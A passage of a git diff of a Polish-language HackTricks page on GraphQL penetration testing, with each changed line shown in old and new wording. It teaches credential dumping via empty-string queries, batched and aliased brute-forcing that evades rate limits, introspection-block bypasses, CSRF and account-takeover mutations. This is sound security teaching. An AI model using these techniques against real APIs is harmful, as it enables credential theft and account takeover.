||||
|
||||
**Sztuczka z zrzutem ciągu zapytań (dzięki @BinaryShadow\_)**
|
||||
**Sztuczka z wydobywaniem ciągu zapytań (dzięki @BinaryShadow\_)**
|
||||
|
||||
Jeśli możesz wyszukiwać według typu ciągu, na przykład: `query={theusers(description: ""){username,password}}` i **szukasz pustego ciągu**, to **wyrzuci wszystkie dane**. (_Zauważ, że ten przykład nie jest związany z przykładem z samouczków, dla tego przykładu zakładamy, że możesz wyszukiwać za pomocą "**theusers**" według pola typu ciągu o nazwie "**description**"_).
|
||||
Jeśli możesz wyszukiwać według typu ciągów, np.: `query={theusers(description: ""){username,password}}` i **szukasz pustego ciągu**, wtedy **wydobyte zostaną wszystkie dane**. (_Zauważ, że ten przykład nie jest związany z przykładem z samouczków, dla tego przykładu załóż, że możesz szukać używając "**theusers**" według pola typu ciągowego o nazwie "**description**"_).
|
||||
|
||||
### Wyszukiwanie
|
||||
|
||||
W tej konfiguracji **baza danych** zawiera **osoby** i **filmy**. **Osoby** są identyfikowane przez swoje **adresy e-mail** i **imię**; **filmy** przez swoje **nazwy** i **ocenę**. **Osoby** mogą być zaprzyjaźnione między sobą i również mieć filmy, co wskazuje na relacje w bazie danych.
|
||||
W tej konfiguracji **baza danych** zawiera **osoby** i **filmy**. **Osoby** są identyfikowane przez swoje **adresy e-mail** i **imię**; **filmy** przez swoje **nazwy** i **ocenę**. **Osoby** mogą być przyjaciółmi między sobą oraz mieć filmy, co wskazuje na relacje w bazie danych.
|
||||
|
||||
Możesz **wyszukiwać** osoby **według** imienia i otrzymać ich adresy e-mail:
|
||||
Możesz **wyszukiwać** osoby **po** nazwie i otrzymywać ich adresy e-mail:
|
||||
```javascript
|
||||
{
|
||||
searchPerson(name: "John Doe") {
|
||||
|
@ -250,7 +248,7 @@ email
|
|||
}
|
||||
}
|
||||
```
|
||||
Możesz **wyszukiwać** osoby **po** imieniu i otrzymać informacje o ich **subskrybowanych** **filmach**:
|
||||
Możesz **wyszukiwać** osoby **po** nazwie i otrzymywać informacje o ich **subskrybowanych** filmach:
|
||||
```javascript
|
||||
{
|
||||
searchPerson(name: "John Doe") {
|
||||
|
@ -265,9 +263,9 @@ name
|
|||
}
|
||||
}
|
||||
```
|
||||
Zauważ, że wskazano na pobranie `name` z `subscribedMovies` osoby.
|
||||
Zauważ, jak wskazano na pobranie `name` z `subscribedMovies` osoby.
|
||||
|
||||
Możesz również **wyszukiwać wiele obiektów jednocześnie**. W tym przypadku wyszukiwane są 2 filmy:
|
||||
Możesz również **wyszukiwać kilka obiektów jednocześnie**. W tym przypadku wyszukiwane są 2 filmy:
|
||||
```javascript
|
||||
{
|
||||
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
|
||||
|
@ -300,13 +298,13 @@ name
|
|||
```
|
||||
### Mutacje
|
||||
|
||||
**Mutacje służą do wprowadzania zmian po stronie serwera.**
|
||||
**Mutacje są używane do wprowadzania zmian po stronie serwera.**
|
||||
|
||||
W **introspekcji** można znaleźć **zadeklarowane mutacje**. Na poniższym obrazku "_MutationType_" jest nazywane "_Mutation_", a obiekt "_Mutation_" zawiera nazwy mutacji (jak "_addPerson_" w tym przypadku):
|
||||
W **introspekcji** można znaleźć **zadeklarowane** **mutacje**. Na poniższym obrazie "_MutationType_" jest nazywany "_Mutation_", a obiekt "_Mutation_" zawiera nazwy mutacji (takie jak "_addPerson_" w tym przypadku):
|
||||
|
||||
![](../../.gitbook/assets/screenshot-from-2021-03-13-18-26-27.png)
|
||||
|
||||
W tej konfiguracji **baza danych** zawiera **osoby** i **filmy**. **Osoby** są identyfikowane przez swoje **adresy e-mail** i **imię**, a **filmy** przez swoje **nazwy** i **oceny**. **Osoby** mogą być ze sobą zaprzyjaźnione i mieć filmy, co wskazuje na relacje w bazie danych.
|
||||
W tej konfiguracji **baza danych** zawiera **osoby** i **filmy**. **Osoby** są identyfikowane przez swój **adres e-mail** i **imię**; **filmy** przez swoją **nazwę** i **ocenę**. **Osoby** mogą być przyjaciółmi między sobą oraz mieć filmy, co wskazuje na relacje w bazie danych.
|
||||
|
||||
Mutacja do **tworzenia nowych** filmów w bazie danych może wyglądać jak poniższa (w tym przykładzie mutacja nazywa się `addMovie`):
|
||||
```javascript
|
||||
|
@ -319,9 +317,9 @@ rating
|
|||
}
|
||||
}
|
||||
```
|
||||
**Zauważ, że zarówno wartości, jak i typ danych są wskazane w zapytaniu.**
|
||||
**Zauważ, jak w zapytaniu wskazane są zarówno wartości, jak i typ danych.**
|
||||
|
||||
Dodatkowo, baza danych obsługuje operację **mutacji** o nazwie `addPerson`, która umożliwia tworzenie **osób** wraz z ich powiązaniami z istniejącymi **przyjaciółmi** i **filmami**. Ważne jest zauważenie, że przyjaciele i filmy muszą istnieć w bazie danych przed ich powiązaniem z nowo utworzoną osobą.
|
||||
Dodatkowo, baza danych obsługuje operację **mutacji**, o nazwie `addPerson`, która umożliwia tworzenie **osób** wraz z ich powiązaniami z istniejącymi **przyjaciółmi** i **filmami**. Ważne jest, aby zauważyć, że przyjaciele i filmy muszą istnieć w bazie danych przed ich powiązaniem z nowo utworzoną osobą.
|
||||
```javascript
|
||||
mutation {
|
||||
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
||||
|
@ -349,32 +347,36 @@ releaseYear
|
|||
}
|
||||
}
|
||||
```
|
||||
### Wykonywanie ataku brute-force w jednym żądaniu API
|
||||
### Przeładowanie dyrektywy
|
||||
|
||||
Jak wyjaśniono w [**jednej z podatności opisanych w tym raporcie**](https://www.landh.tech/blog/20240304-google-hack-50000/), przeładowanie dyrektywy oznacza wywołanie dyrektywy nawet miliony razy, aby zmusić serwer do marnowania operacji, aż będzie możliwe przeprowadzenie ataku typu DoS.
|
||||
|
||||
### Atak siłowy wsadowy w 1 żądaniu API
|
||||
|
||||
Ta informacja została zaczerpnięta z [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).\
|
||||
Autoryzacja za pomocą interfejsu API GraphQL z **równoczesnym wysyłaniem wielu zapytań z różnymi danymi uwierzytelniającymi** w celu ich sprawdzenia. To klasyczny atak brute-force, ale teraz możliwe jest wysłanie więcej niż jednej pary login/hasło w jednym żądaniu HTTP dzięki funkcji grupowania GraphQL. Taka metoda wprowadziłaby w błąd zewnętrzne aplikacje monitorujące tempo, które myślałyby, że wszystko jest w porządku i nie ma żadnego botu próbującego zgadywać hasła.
|
||||
Uwierzytelnianie poprzez interfejs API GraphQL z **równoczesnym wysyłaniem wielu zapytań z różnymi danymi uwierzytelniającymi** w celu sprawdzenia go. To klasyczny atak siłowy, ale teraz możliwe jest wysłanie więcej niż jednej pary login/hasło w jednym żądaniu HTTP ze względu na funkcję wsadowego przetwarzania GraphQL. Ten sposób działania zmyliłby zewnętrzne aplikacje monitorujące częstotliwość, sugerując, że wszystko jest w porządku i nie ma botów próbujących odgadnąć hasła metodą siłową.
|
||||
|
||||
Poniżej znajduje się najprostsza demonstracja żądania uwierzytelniającego aplikacji, z **trzema różnymi parami email/hasło na raz**. Oczywiście można wysłać tysiące w jednym żądaniu w ten sam sposób:
|
||||
Poniżej znajdziesz najprostsze przedstawienie żądania uwierzytelniającego aplikacji, z **3 różnymi parami adres e-mail/hasło jednocześnie**. Oczywiście możliwe jest wysłanie tysięcy w jednym żądaniu w ten sam sposób:
|
||||
|
||||
![](<../../.gitbook/assets/image (182) (1).png>)
|
||||
|
||||
Jak widać na zrzucie ekranu odpowiedzi, pierwsze i trzecie żądania zwróciły _null_ i odzwierciedliły odpowiednie informacje w sekcji _error_. **Druga mutacja zawierała poprawne dane uwierzytelniające** i odpowiedź zawierała poprawny token sesji uwierzytelniającej.
|
||||
Jak widać na zrzucie ekranu odpowiedzi, pierwsze i trzecie żądania zwróciły _null_ i odzwierciedliły odpowiednie informacje w sekcji _error_. **Druga mutacja miała poprawne dane uwierzytelniające** i odpowiedź zawierała poprawny token sesji uwierzytelniającej.
|
||||
|
||||
![](<../../.gitbook/assets/image (119) (1).png>)
|
||||
|
||||
## GraphQL bez introspekcji
|
||||
## GraphQL Bez Introspekcji
|
||||
|
||||
Coraz więcej **punktów końcowych GraphQL wyłącza introspekcję**. Jednak błędy, które GraphQL zwraca, gdy otrzymuje nieoczekane żądanie, są wystarczające dla narzędzi takich jak [**clairvoyance**](https://github.com/nikitastupin/clairvoyance), aby odtworzyć większość schematu.
|
||||
Coraz więcej **punktów końcowych GraphQL wyłącza introspekcję**. Jednak błędy, które GraphQL zwraca, gdy otrzymuje nieoczekiwane żądanie, są wystarczające dla narzędzi takich jak [**clairvoyance**](https://github.com/nikitastupin/clairvoyance), aby odtworzyć większość schematu.
|
||||
|
||||
Ponadto, rozszerzenie Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **obserwuje żądania API GraphQL przechodzące przez Burp** i **buduje** wewnętrzny **schemat GraphQL** dla każdego nowego zapytania, które widzi. Może również ujawnić schemat dla GraphiQL i Voyager. Rozszerzenie zwraca fałszywą odpowiedź, gdy otrzymuje zapytanie introspekcji. W rezultacie GraphQuail pokazuje wszystkie zapytania, argumenty i pola dostępne do użycia w ramach interfejsu API. Więcej informacji można znaleźć [**tutaj**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
Ponadto rozszerzenie Burp Suite [**GraphQuail**](https://github.com/forcesunseen/graphquail) **obserwuje żądania interfejsu API GraphQL przechodzące przez Burp** i **tworzy** wewnętrzny GraphQL **schemat** z każdym nowym zapytaniem, które widzi. Może również ujawnić schemat dla GraphiQL i Voyager. Rozszerzenie zwraca fałszywą odpowiedź, gdy otrzymuje zapytanie introspekcyjne. W rezultacie GraphQuail pokazuje wszystkie zapytania, argumenty i pola dostępne do użycia w interfejsie API. Aby uzyskać więcej informacji, [**sprawdź to**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).
|
||||
|
||||
Ładna **lista słów** do odkrywania [**encji GraphQL można znaleźć tutaj**](https://github.com/Escape-Technologies/graphql-wordlist?).
|
||||
|
||||
### Ominięcie obrony przed introspekcją GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||||
### Omijanie obrony przed introspekcją GraphQL <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||||
|
||||
### **Ominięcie obrony przed introspekcją GraphQL**
|
||||
### **Omijanie Obrony Przed Introspekcją GraphQL**
|
||||
|
||||
Aby ominąć ograniczenia dotyczące zapytań introspekcyjnych w interfejsach API, skutecznym jest wstawienie **specjalnego znaku po słowie kluczowym `__schema`**. Ta metoda wykorzystuje powszechne niedopatrzenia programistów w wyrażeniach regularnych, które mają na celu blokowanie introspekcji, skupiając się na słowie kluczowym `__schema`. Dodając znaki takie jak **spacje, nowe linie i przecinki**, które GraphQL ignoruje, ale mogą nie być uwzględnione w wyrażeniach regularnych, można ominąć ograniczenia. Na przykład, zapytanie introspekcyjne z nową linią po `__schema` może ominąć taką obronę:
|
||||
Aby ominąć ograniczenia dotyczące zapytań introspekcyjnych w interfejsach API, skuteczne okazuje się wstawienie **specjalnego znaku po słowie kluczowym `__schema`**. Ta metoda wykorzystuje powszechne przeoczenia programistów w wzorcach wyrażeń regularnych, które mają na celu zablokowanie introspekcji poprzez skupienie się na słowie kluczowym `__schema`. Dodanie znaków takich jak **spacje, nowe linie i przecinki**, które GraphQL ignoruje, ale mogą nie być uwzględnione w wyrażeniach regularnych, pozwala ominąć ograniczenia. Na przykład zapytanie introspekcyjne z nową linią po `__schema` może ominąć takie zabezpieczenia:
|
||||
```bash
|
||||
# Example with newline to bypass
|
||||
{
|
||||
|
@ -382,11 +384,11 @@ Aby ominąć ograniczenia dotyczące zapytań introspekcyjnych w interfejsach AP
|
|||
{queryType{name}}}"
|
||||
}
|
||||
```
|
||||
Jeśli nie uda się, rozważ alternatywne metody żądania, takie jak żądania **GET** lub **POST z `x-www-form-urlencoded`**, ponieważ ograniczenia mogą dotyczyć tylko żądań POST.
|
||||
Jeśli nie uda się, rozważ alternatywne metody żądania, takie jak **żądania GET** lub **POST z `x-www-form-urlencoded`**, ponieważ ograniczenia mogą dotyczyć tylko żądań POST.
|
||||
|
||||
### **Odkrywanie ujawnionych struktur GraphQL**
|
||||
### **Odkrywanie Ujawnionych Struktur GraphQL**
|
||||
|
||||
Kiedy introspekcja jest wyłączona, badanie kodu źródłowego strony internetowej w poszukiwaniu wczytanych zapytań w bibliotekach JavaScript jest przydatną strategią. Te zapytania można znaleźć za pomocą zakładki `Sources` w narzędziach dla programistów, co pozwala uzyskać wgląd w schemat API i ujawnić potencjalnie **ujawnione wrażliwe zapytania**. Polecenia do wyszukiwania w narzędziach dla programistów to:
|
||||
Kiedy introspekcja jest wyłączona, badanie kodu źródłowego witryny w poszukiwaniu wcześniej załadowanych zapytań w bibliotekach JavaScript jest przydatną strategią. Te zapytania można znaleźć, korzystając z karty `Sources` w narzędziach deweloperskich, co pozwala uzyskać wgląd w schemat API i ujawnić potencjalnie **ujawnione wrażliwe zapytania**. Polecenia do wyszukiwania w narzędziach deweloperskich to:
|
||||
```javascript
|
||||
Inspect/Sources/"Search all files"
|
||||
file:* mutation
|
||||
|
@ -400,23 +402,23 @@ Jeśli nie wiesz, czym jest CSRF, przeczytaj następującą stronę:
|
|||
[csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Tam będziesz mógł znaleźć kilka punktów końcowych GraphQL **skonfigurowanych bez tokenów CSRF.**
|
||||
Możesz tam znaleźć kilka punktów końcowych GraphQL **skonfigurowanych bez tokenów CSRF.**
|
||||
|
||||
Zauważ, że żądania GraphQL są zazwyczaj wysyłane za pomocą żądań POST przy użyciu nagłówka Content-Type **`application/json`**.
|
||||
Zauważ, że zazwyczaj żądania GraphQL są wysyłane za pomocą żądań POST z użyciem Content-Type **`application/json`**.
|
||||
```javascript
|
||||
{"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"}
|
||||
```
|
||||
Jednak większość punktów końcowych GraphQL obsługuje również żądania POST w formacie **`form-urlencoded`**:
|
||||
Jednak większość punktów końcowych GraphQL obsługuje również żądania POST w formacie **`form-urlencoded`:**
|
||||
```javascript
|
||||
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||
```
|
||||
Dlatego, ponieważ żądania CSRF takie jak poprzednie są wysyłane **bez żądań preflight**, możliwe jest **wykonanie** **zmian** w GraphQL, nadużywając CSRF.
|
||||
Dlatego, ponieważ żądania CSRF, takie jak poprzednie, są wysyłane **bez żądań wstępnych**, możliwe jest **wykonanie** **zmian** w GraphQL, nadużywając CSRF.
|
||||
|
||||
Należy jednak zauważyć, że nowa domyślna wartość ciasteczka `samesite` w przeglądarce Chrome to `Lax`. Oznacza to, że ciasteczko będzie wysyłane tylko z witryny zewnętrznej w żądaniach GET.
|
||||
Należy jednak zauważyć, że nowa domyślna wartość ciasteczka flagi `samesite` w Chrome to `Lax`. Oznacza to, że ciasteczko będzie wysyłane tylko z witryny stron trzecich w żądaniach GET.
|
||||
|
||||
Należy również zauważyć, że zazwyczaj możliwe jest wysłanie **żądania zapytania** również jako **żądanie GET**, a token CSRF może nie być sprawdzany w żądaniu GET.
|
||||
Należy pamiętać, że zazwyczaj możliwe jest wysłanie **żądania zapytania** również jako **żądanie GET, a token CSRF może nie być weryfikowany w żądaniu GET.**
|
||||
|
||||
Dodatkowo, nadużywając [**ataku XS-Search**](../../pentesting-web/xs-search.md), możliwe jest wydobywanie zawartości z punktu końcowego GraphQL, nadużywając poświadczeń użytkownika.
|
||||
Nadużywając również ataku [**XS-Search**](../../pentesting-web/xs-search.md), możliwe jest wycieknięcie zawartości z punktu końcowego GraphQL, nadużywając poświadczeń użytkownika.
|
||||
|
||||
Aby uzyskać więcej informacji, **sprawdź** [**oryginalny post tutaj**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).
|
||||
|
||||
|
@ -424,7 +426,7 @@ Aby uzyskać więcej informacji, **sprawdź** [**oryginalny post tutaj**](https:
|
|||
|
||||
Wiele funkcji GraphQL zdefiniowanych na punkcie końcowym może sprawdzać tylko uwierzytelnienie żądającego, ale nie autoryzację.
|
||||
|
||||
Modyfikowanie zmiennych wejściowych zapytania może prowadzić do **wycieku** wrażliwych danych konta [leaked](https://hackerone.com/reports/792927).
|
||||
Modyfikacja zmiennych wejściowych zapytania może prowadzić do wycieku wrażliwych danych konta [leaked](https://hackerone.com/reports/792927).
|
||||
|
||||
Mutacja może nawet prowadzić do przejęcia konta, próbując zmodyfikować dane innego konta.
|
||||
```javascript
|
||||
|
@ -436,21 +438,21 @@ Mutacja może nawet prowadzić do przejęcia konta, próbując zmodyfikować dan
|
|||
```
|
||||
### Ominięcie autoryzacji w GraphQL
|
||||
|
||||
[Łączenie zapytań](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) może obejść słaby system uwierzytelniania.
|
||||
[Łączenie zapytań](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) może ominąć słaby system uwierzytelniania.
|
||||
|
||||
W poniższym przykładzie można zobaczyć, że operacja to "forgotPassword" i powinna ona wykonywać tylko związane z nią zapytanie forgotPassword. Można to obejść, dodając zapytanie na końcu, w tym przypadku dodajemy "register" i zmienną użytkownika, aby system zarejestrował nowego użytkownika.
|
||||
W poniższym przykładzie można zobaczyć, że operacja to "forgotPassword" i powinna wykonać tylko związane z nią zapytanie forgotPassword. Można to ominąć dodając zapytanie na końcu, w tym przypadku dodajemy "register" i zmienną użytkownika, aby system zarejestrował nowego użytkownika.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Ominięcie limitów szybkości za pomocą aliasów w GraphQL
|
||||
|
||||
W GraphQL aliasy są potężną funkcją, która umożliwia **eksplikacyjne nazwanie właściwości** podczas wykonywania żądania API. Ta funkcjonalność jest szczególnie przydatna do pobierania **wielu instancji tego samego typu** obiektu w jednym żądaniu. Aliasy mogą być wykorzystane do pokonania ograniczenia, które uniemożliwia obiektom GraphQL posiadanie wielu właściwości o tej samej nazwie.
|
||||
W GraphQL aliasy są potężną funkcją, która pozwala **nazwać właściwości jawnie** podczas wysyłania żądania API. Ta funkcjonalność jest szczególnie przydatna do pobierania **wielu instancji tego samego typu** obiektu w jednym żądaniu. Aliasy mogą być wykorzystane do pokonania ograniczenia, które uniemożliwia obiektom GraphQL posiadanie wielu właściwości o tej samej nazwie.
|
||||
|
||||
Aby dokładnie zrozumieć aliasy w GraphQL, zaleca się skorzystanie z następującego źródła: [Aliasy](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||||
Dla szczegółowego zrozumienia aliasów w GraphQL, zaleca się skorzystanie z następującego źródła: [Aliasy](https://portswigger.net/web-security/graphql/what-is-graphql#aliases).
|
||||
|
||||
Podstawowym celem aliasów jest zmniejszenie konieczności wykonywania licznych wywołań API, ale zidentyfikowano niezamierzone zastosowanie, w którym aliasy mogą być wykorzystane do przeprowadzania ataków brute force na punkt końcowy GraphQL. Jest to możliwe, ponieważ niektóre punkty końcowe są chronione przez limity szybkości zaprojektowane w celu uniemożliwienia ataków brute force poprzez ograniczenie **liczby żądań HTTP**. Jednak te limity szybkości mogą nie uwzględniać liczby operacji w każdym żądaniu. Ponieważ aliasy pozwalają na dołączanie wielu zapytań w jednym żądaniu HTTP, mogą one obejść takie ograniczenia limitowania szybkości.
|
||||
Podstawowym celem aliasów jest zmniejszenie konieczności wykonywania licznych wywołań API, jednak zidentyfikowano niezamierzone zastosowanie, gdzie aliasy mogą być wykorzystane do przeprowadzania ataków brutalnej siły na punkt końcowy GraphQL. Jest to możliwe, ponieważ niektóre punkty końcowe są chronione przez limity szybkości zaprojektowane do powstrzymywania ataków brutalnej siły poprzez ograniczenie **liczby żądań HTTP**. Niemniej jednak te limity szybkości mogą nie uwzględniać liczby operacji w każdym żądaniu. Ponieważ aliasy pozwalają na dodanie wielu zapytań w jednym żądaniu HTTP, mogą one obejść takie środki ograniczające szybkość.
|
||||
|
||||
Przyjrzyjmy się poniższemu przykładowi, który ilustruje, jak zapytania z aliasami mogą być używane do weryfikacji poprawności kodów rabatowych w sklepie. Ta metoda może obejść limity szybkości, ponieważ kompiluje kilka zapytań w jedno żądanie HTTP, co potencjalnie pozwala na weryfikację licznych kodów rabatowych jednocześnie.
|
||||
Rozważ poniższy przykład, który ilustruje, jak zapytania z aliasami mogą być użyte do weryfikacji poprawności kodów rabatowych sklepu. Ta metoda mogłaby ominąć limity szybkości, ponieważ kompiluje kilka zapytań w jedno żądanie HTTP, potencjalnie umożliwiając weryfikację licznych kodów rabatowych jednocześnie.
|
||||
```bash
|
||||
# Example of a request utilizing aliased queries to check for valid discount codes
|
||||
query isValidDiscount($code: Int) {
|
||||
|
@ -469,11 +471,11 @@ valid
|
|||
|
||||
### Skanery podatności
|
||||
|
||||
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Narzędzie, które można używać do pobierania schematów i wyszukiwania wrażliwych danych, testowania autoryzacji, prób siłowych schematów i znajdowania ścieżek do określonego typu.
|
||||
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Może być używane jako samodzielne narzędzie lub [rozszerzenie Burp](https://github.com/doyensec/inql).
|
||||
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Może być używane jako klient CLI do automatyzacji ataków.
|
||||
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Narzędzie, które wyświetla różne sposoby dotarcia do określonego typu w schemacie GraphQL.
|
||||
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Rozszerzenie Burp do zaawansowanego testowania GraphQL. Komponent _**Scanner**_ jest rdzeniem InQL v5.0, gdzie można analizować punkt końcowy GraphQL lub lokalny plik schematu introspekcyjnego. Automatycznie generuje wszystkie możliwe zapytania i mutacje, organizując je w strukturalny widok do analizy. Komponent _**Attacker**_ pozwala uruchamiać wsadowe ataki GraphQL, co może być przydatne do omijania słabo zaimplementowanych limitów szybkości.
|
||||
* [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler): Zestaw narzędzi, który można użyć do pobierania schematów i wyszukiwania danych wrażliwych, testowania autoryzacji, atakowania schematów siłowego, oraz znajdowania ścieżek do określonego typu.
|
||||
* [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html): Może być używany samodzielnie lub jako [rozszerzenie dla Burp](https://github.com/doyensec/inql).
|
||||
* [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap): Może być używany jako klient CLI do automatyzacji ataków.
|
||||
* [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum): Narzędzie, które wymienia różne sposoby dotarcia do określonego typu w schemacie GraphQL.
|
||||
* [https://github.com/doyensec/inql](https://github.com/doyensec/inql): Rozszerzenie dla Burp do zaawansowanego testowania GraphQL. Komponent _**Scanner**_ stanowi rdzeń InQL v5.0, gdzie można analizować punkt końcowy GraphQL lub lokalny plik z introspekcją schematu. Automatycznie generuje wszystkie możliwe zapytania i mutacje, organizując je w strukturalny widok do analizy. Komponent _**Attacker**_ pozwala uruchamiać wsadowe ataki GraphQL, co może być przydatne do omijania słabo zaimplementowanych limitów szybkości.
|
||||
|
||||
### Klienci
|
||||
|
||||
|
@ -484,9 +486,9 @@ valid
|
|||
|
||||
{% embed url="https://graphql-dashboard.herokuapp.com/" %}
|
||||
|
||||
* Wideo wyjaśniające AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
|
||||
* Film wyjaśniający AutoGraphQL: [https://www.youtube.com/watch?v=JJmufWfVvyU](https://www.youtube.com/watch?v=JJmufWfVvyU)
|
||||
|
||||
## Odwołania
|
||||
## Odnośniki
|
||||
|
||||
* [**https://jondow.eu/practical-graphql-attack-vectors/**](https://jondow.eu/practical-graphql-attack-vectors/)
|
||||
* [**https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696**](https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)
|
||||
|
@ -502,10 +504,10 @@ valid
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) **i** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github repos.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -70,7 +70,7 @@ $file = file_get_contents($url, false, $context);
|
|||
```
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -85,6 +85,6 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,13 +8,13 @@
|
|||
